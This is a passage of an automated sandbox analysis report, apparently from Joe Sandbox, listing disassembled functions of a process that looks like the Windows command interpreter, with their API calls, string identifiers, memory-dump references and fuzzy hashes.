                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$FileSize_get_osfhandle_wcsnicmpiswspace
                                                                                      • String ID: &<|>$+: $:$:EOF$=,;$^
                                                                                      • API String ID: 511550188-726566285
                                                                                      • Opcode ID: 348cd75d81f2e43b90b1fdde602cc3fa7c7e8620821296db2d6a5e23a835ab51
                                                                                      • Instruction ID: 2852356e534f33b12d261eddd42726edb1ffa21c5e6168713dc5013deced2d88
                                                                                      • Opcode Fuzzy Hash: 348cd75d81f2e43b90b1fdde602cc3fa7c7e8620821296db2d6a5e23a835ab51
                                                                                      • Instruction Fuzzy Hash: 3252A233A0C69287FB64AB14A400679EAE1FF49B44FE49135EA4E47794DF3CE585CB20
                                                                                      Function 00007FF78CF49E50 Relevance: 67.3, APIs: 32, Strings: 6, Instructions: 812COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsnicmp$wcschr$wcstol
                                                                                      • String ID: delims=$eol=$skip=$tokens=$useback$usebackq
                                                                                      • API String ID: 1738779099-3004636944
                                                                                      • Opcode ID: ed9b4971405935f9cd70a6a1a32585b3fb37949906c07fe23bc6612a814efbe7
                                                                                      • Instruction ID: 6a4ad53e6336a4fdd5f95470ea66c3bb7c88ad6d309e96752f21cb07276d040a
                                                                                      • Opcode Fuzzy Hash: ed9b4971405935f9cd70a6a1a32585b3fb37949906c07fe23bc6612a814efbe7
                                                                                      • Instruction Fuzzy Hash: 3B728C33F086528AFB10AF659540ABDB7B1FB44B88FA18035DE0D5B794EE3CA855C364
                                                                                      Function 00007FF78CF67F00 Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 341memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF67F44
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF67F5C
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF67F9E
                                                                                      • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF67FFF
                                                                                      • ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68020
                                                                                      • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68036
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68061
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF68075
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF680D6
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF680EA
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF68177
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF6819A
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF681BD
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF681DC
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF681FB
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF6821A
                                                                                      • _wcsnicmp.MSVCRT ref: 00007FF78CF68239
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68291
                                                                                      • SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF682D7
                                                                                      • FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF682FB
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF6831A
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68364
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF68378
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF6839A
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF683AE
                                                                                      • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF683E6
                                                                                      • ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68403
                                                                                      • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF78CF68418
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferInfoReadReleaseScreen$AllocCharacterCursorFillHandleOutputPositionWrite_get_osfhandle
                                                                                      • String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
                                                                                      • API String ID: 3637805771-3100821235
                                                                                      • Opcode ID: e6cb887516591751d838279dfb6f73a977c9c7224b6493b327e80fb3c94782b6
                                                                                      • Instruction ID: 3550f1b7fc6ef7820e6e510bb59a6a42fb3dc5a6cd0a482f36feef26d23adf67
                                                                                      • Opcode Fuzzy Hash: e6cb887516591751d838279dfb6f73a977c9c7224b6493b327e80fb3c94782b6
                                                                                      • Instruction Fuzzy Hash: B4E1A233A08692DAF710AF65E401579FBA1FB49B95BE58234DD1E53B90EF3CA409C720
                                                                                      Function 00007FF78CF43F90 Relevance: 60.8, APIs: 32, Strings: 2, Instructions: 1302fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Filememset$Attributes$ErrorLast$AllocCopyFindFirstVirtualwcschr
                                                                                      • String ID: %s$%s
                                                                                      • API String ID: 3623545644-3518022669
                                                                                      • Opcode ID: eb6ac1f09caa6f1e312a2d23d751c7def4113e850203b77677b5d6367ed255d4
                                                                                      • Instruction ID: c30894a8cad4812ac6c9985c25b421f940ef864383f754bb7208df3230addb46
                                                                                      • Opcode Fuzzy Hash: eb6ac1f09caa6f1e312a2d23d751c7def4113e850203b77677b5d6367ed255d4
                                                                                      • Instruction Fuzzy Hash: 4DD2A333A086828BFB64AF65E840ABDB7A1FB45744FA04135DA0E5BB95DF3CE544CB10
                                                                                      Function 00007FF78CF42C48 Relevance: 60.1, APIs: 32, Strings: 2, Instructions: 633COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$memset$BufferMode$FullInfoNamePathScreen$CharacterCursorErrorFillFlushHandleInputLastOutputPositionWrite_getch_wcsicmpwcschrwcsrchr
                                                                                      • String ID: %9d$%s
                                                                                      • API String ID: 4286035211-3662383364
                                                                                      • Opcode ID: 61b27ca8b3239945596bad14bd7a0189cef10c291a2db1f54d547116b75f0017
                                                                                      • Instruction ID: d3b0652d27bdec4155ee9fa84c96ba37c3475f97bcc55450b54e95c17e1ba053
                                                                                      • Opcode Fuzzy Hash: 61b27ca8b3239945596bad14bd7a0189cef10c291a2db1f54d547116b75f0017
                                                                                      • Instruction Fuzzy Hash: 5A529233A08B828AFB64AB64E8506F9B7A0FF85758FA04135DA0E47B95DF3CD549C710
                                                                                      Function 00007FF78CF518D4 Relevance: 42.6, APIs: 23, Strings: 1, Instructions: 644COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcsrchr$towlower
                                                                                      • String ID: fdpnxsatz
                                                                                      • API String ID: 3267374428-1106894203
                                                                                      • Opcode ID: 4d289080c925d94ee40dfd5c740acf21fb6c185afaabc48c5a913d1d7a14547b
                                                                                      • Instruction ID: c3226e531eda43bf5e4a8f1797811e6e72f584e00933990693ea9342afd0d9f7
                                                                                      • Opcode Fuzzy Hash: 4d289080c925d94ee40dfd5c740acf21fb6c185afaabc48c5a913d1d7a14547b
                                                                                      • Instruction Fuzzy Hash: DD42E023B09A8286FB64AF2595042B9A7A1FF45B94FA49135EF0E877D4DF3CE641C310
                                                                                      Function 00007FF78CF47650 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 461fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: File_get_osfhandle$memset$PathPointerReadSearchSizeType_wcsnicmpwcsrchr
                                                                                      • String ID: DPATH
                                                                                      • API String ID: 95024817-2010427443
                                                                                      • Opcode ID: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
                                                                                      • Instruction ID: 2c91c3bbec6a0336b39a2d2607aa8b1951aa4ac7e2e085cbf86d3f1736d5a561
                                                                                      • Opcode Fuzzy Hash: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
                                                                                      • Instruction Fuzzy Hash: 0612B333A0868287F764BF25A4005B9FBA1FB89B54FA49235EA5E57794DF3CE404CB10
                                                                                      Function 00007FF78CF45240 Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 503COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID: [...]$ [..]$ [.]$...$:
                                                                                      • API String ID: 0-1980097535
                                                                                      • Opcode ID: b4f7b18fcade78829ab7640c0e3796605864497f0bac3bc258d57cc8563df65d
                                                                                      • Instruction ID: ed33bfd52544706aee1370e53ac07509efe7e82aff58c6992d77b0a357806e6a
                                                                                      • Opcode Fuzzy Hash: b4f7b18fcade78829ab7640c0e3796605864497f0bac3bc258d57cc8563df65d
                                                                                      • Instruction Fuzzy Hash: 92329073A0878286FB20EF61E441AF9B7A0FB45788FA14135EA4D4B695DF3CE549C720
                                                                                      Function 00007FF78CF46EE4 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 342timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Time$File$System$DateDefaultFormatInfoLocalLocaleUsermemmoverealloc
                                                                                      • String ID: %02d%s%02d%s%02d$%s $%s %s $.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
                                                                                      • API String ID: 1795611712-3662956551
                                                                                      • Opcode ID: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
                                                                                      • Instruction ID: 5b8f778a7b4072a7ed9374c5edb0aabade567a42758919a56e1ec5af1f85291c
                                                                                      • Opcode Fuzzy Hash: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
                                                                                      • Instruction Fuzzy Hash: D8E1B023A0864286FB10FB65A8419B9FBA1FF49784FF44132EA0E57695DF3CE505C360
                                                                                      Function 00007FF78CF6EE88 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 225COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _wcsupr.MSVCRT ref: 00007FF78CF6EF33
                                                                                      • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6EF98
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6EFA9
                                                                                      • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6EFBF
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF78CF6EFDC
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6EFED
                                                                                      • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F003
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F022
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F083
                                                                                      • FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F092
                                                                                      • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F0A5
                                                                                      • towupper.MSVCRT(?,?,?,?,?,?), ref: 00007FF78CF6F0DB
                                                                                      • wcschr.MSVCRT(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F135
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F16C
                                                                                      • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF78CF6E964), ref: 00007FF78CF6F185
                                                                                        • Part of subcall function 00007FF78CF501B8: _get_osfhandle.MSVCRT ref: 00007FF78CF501C4
                                                                                        • Part of subcall function 00007FF78CF501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF78CF5E904,?,?,?,?,00000000,00007FF78CF53491,?,?,?,00007FF78CF64420), ref: 00007FF78CF501D6
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_get_osfhandle_wcsuprtowupperwcschr
                                                                                      • String ID: <noalias>$CMD.EXE
                                                                                      • API String ID: 1161012917-1690691951
                                                                                      • Opcode ID: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
                                                                                      • Instruction ID: 0a4d5c0335db1df804a66622eff25b2b91571c94d77e1d31244438be8fdd0dc9
                                                                                      • Opcode Fuzzy Hash: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
                                                                                      • Instruction Fuzzy Hash: 53919223F096529AFB04BB60E8015BDBAA0BF49B54FA58135EE0E527D5DF3CA449C320
                                                                                      Function 00007FF78CF432B0 Relevance: 27.2, APIs: 18, Instructions: 243COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF53578: _get_osfhandle.MSVCRT ref: 00007FF78CF53584
                                                                                        • Part of subcall function 00007FF78CF53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF5359C
                                                                                        • Part of subcall function 00007FF78CF53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535C3
                                                                                        • Part of subcall function 00007FF78CF53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535D9
                                                                                        • Part of subcall function 00007FF78CF53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF535ED
                                                                                        • Part of subcall function 00007FF78CF53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF78CF432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF78CF53602
                                                                                      • _get_osfhandle.MSVCRT ref: 00007FF78CF432F3
                                                                                      • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000014,?,?,0000002F,00007FF78CF432A4), ref: 00007FF78CF43309
                                                                                      • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF78CF43384
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF611DF
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Console$LockShared_get_osfhandle$AcquireBufferErrorFileHandleInfoLastModeReleaseScreenTypeWrite
                                                                                      • String ID:
                                                                                      • API String ID: 611521582-0
